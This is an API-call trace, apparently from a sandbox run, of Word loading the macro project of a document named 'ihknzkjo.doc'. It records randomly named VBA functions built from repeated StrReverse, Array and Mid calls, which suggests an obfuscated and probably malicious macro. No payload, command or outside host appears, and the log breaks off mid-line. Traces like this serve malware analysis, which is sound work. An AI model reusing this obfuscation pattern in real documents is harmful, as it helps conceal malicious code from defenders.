LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="imZnVSzlW") returned 0x10a067 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0018.274] CExposedStream::Read () returned 0x0 [0018.274] CExposedStream::Release () returned 0x1 [0018.274] CExposedStream::Release () returned 0x0 [0018.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sApJzDAat", cchWideChar=10, lpMultiByteStr=0x306ae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sApJzDAat", lpUsedDefaultChar=0x0) returned 10 [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sApJzDAat") returned 0x10b09f [0018.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sApJzDAat", cchWideChar=10, lpMultiByteStr=0x306c20, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sApJzDAat", lpUsedDefaultChar=0x0) returned 10 [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sApJzDAat") returned 0x10b09f [0018.274] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959ce0 [0018.274] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x7959ce0) returned 0x80 [0018.274] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a102a0 [0018.274] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10360 [0018.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sApJzDAat", cchWideChar=10, lpMultiByteStr=0x306ae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sApJzDAat", lpUsedDefaultChar=0x0) returned 10 [0018.274] CoCreateGuid (in: pguid=0x306810 | out: pguid=0x306810*(Data1=0xd932f810, Data2=0x5831, Data3=0x49c3, Data4=([0]=0xb9, [1]=0xae, [2]=0x45, [3]=0x5d, [4]=0x61, [5]=0x57, [6]=0xc, [7]=0x40))) returned 0x0 [0018.274] CoCreateGuid (in: pguid=0x306820 | out: pguid=0x306820*(Data1=0x31b2b1f9, Data2=0x186e, Data3=0x4760, Data4=([0]=0x83, [1]=0xbf, [2]=0x97, [3]=0x9a, [4]=0x37, [5]=0xa2, [6]=0x8f, [7]=0x8c))) returned 0x0 [0018.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sApJzDAat", cchWideChar=10, lpMultiByteStr=0x306830, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sApJzDAat", lpUsedDefaultChar=0x0) returned 10 [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sApJzDAat") returned 0x10b09f [0018.274] GetLocalTime (in: lpSystemTime=0x306708 | out: lpSystemTime=0x306708*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x239)) [0018.274] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0x7ac9054, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="045bf1acda", cchWideChar=11, lpMultiByteStr=0x3066a0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="045bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.274] strcpy_s (in: _Dst=0x7a1f5f0, _DstSize=0xa, _Src="sApJzDAat" | out: _Dst="sApJzDAat") returned 0x0 [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sApJzDAat") returned 0x10b09f [0018.274] wcscpy_s (in: _Destination=0x7ac9068, _SizeInWords=0xa, _Source="sApJzDAat" | out: _Destination="sApJzDAat") returned 0x0 [0018.274] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sApJzDAat") returned 0x10b09f [0018.275] wcscpy_s (in: _Destination=0x7ac9080, _SizeInWords=0xa, _Source="sApJzDAat" | out: _Destination="sApJzDAat") returned 0x0 [0018.275] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sApJzDAat") returned 0x10b09f [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x6c) returned 0x7a86510 [0018.275] IMalloc:Free (This=0x7fefe9e5380, pv=0xbaf1410) [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c530 [0018.275] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a86510) [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3d0) returned 0xbb74630 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c530 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796d720 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959e90 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8000 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8010 [0018.275] wcsncpy_s (in: _Destination=0x3067f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.275] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x306720, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.275] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0018.275] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.275] CExposedDocFile::AddRef () returned 0x6 [0018.275] CExposedDocFile::AddRef () returned 0x7 [0018.275] CExposedDocFile::OpenStream () returned 0x0 [0018.275] CExposedDocFile::Release () returned 0x6 [0018.275] CExposedStream::Seek () returned 0x0 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x688) returned 0xbb74a10 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959f20 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x640) returned 0xbb750a0 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c500 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8020 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8030 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c4d0 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959fb0 [0018.275] CExposedStream::AddRef () returned 0x2 [0018.275] CExposedStream::Read () returned 0x0 [0018.275] CExposedStream::AddRef () returned 0x3 [0018.275] CExposedStream::Release () returned 0x2 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x2ee0) returned 0xbb66210 [0018.275] CExposedStream::Read () returned 0x0 [0018.275] CExposedStream::Read () returned 0x0 [0018.275] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0018.275] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.275] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xa) returned 0x796dce0 [0018.275] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x14) returned 0x796d820 [0018.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x796dce0, cbMultiByte=10, lpWideCharStr=0x796d820, cchWideChar=10 | out: lpWideCharStr="sApJzDAat") returned 10 [0018.275] IMalloc:Free (This=0x7fefe9e5380, pv=0x796dce0) [0018.275] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d820) [0018.275] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0018.275] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EUHUHUCzL") returned 0x10775f [0018.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69809be, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0018.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69809be, cbMultiByte=9, lpWideCharStr=0x781fbc8, cchWideChar=9 | out: lpWideCharStr="EUHUHUCzL") returned 9 [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aqpTj") returned 0x10c3e7 [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lNrwtdTF") returned 0x10da99 [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oRXEjt") returned 0x101dbe [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TusHTj") returned 0x107a13 [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WWHPrQziz") returned 0x10c926 [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cFfzVcmEk") returned 0x100144 [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dfsKLEYFp") returned 0x10bf9b [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WPiFihA") returned 0x109327 [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lXPQpvTfn") returned 0x10c1b1 [0018.277] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kujWlSOhznU") returned 0x1013a6 [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kDWkwc") returned 0x105ead [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jijopi") returned 0x10f221 [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MBsZBrl") returned 0x102f86 [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JJCkwGYC") returned 0x10ebef [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mawspilWTMS") returned 0x10ea1d [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cmjRpjqshZO") returned 0x1087f8 [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LulLmdRaw") returned 0x10b785 [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ijiiWi") returned 0x108863 [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SoDjVAdRiJI") returned 0x1044e0 [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FsoRUYaK") returned 0x10af32 [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] CExposedStream::Read () returned 0x0 [0018.281] CExposedStream::Read () returned 0x0 [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NmHQn") returned 0x10eaed [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FfCOE") returned 0x10d8e0 [0018.281] LHashValOfNameSysA (syskind=0x3, 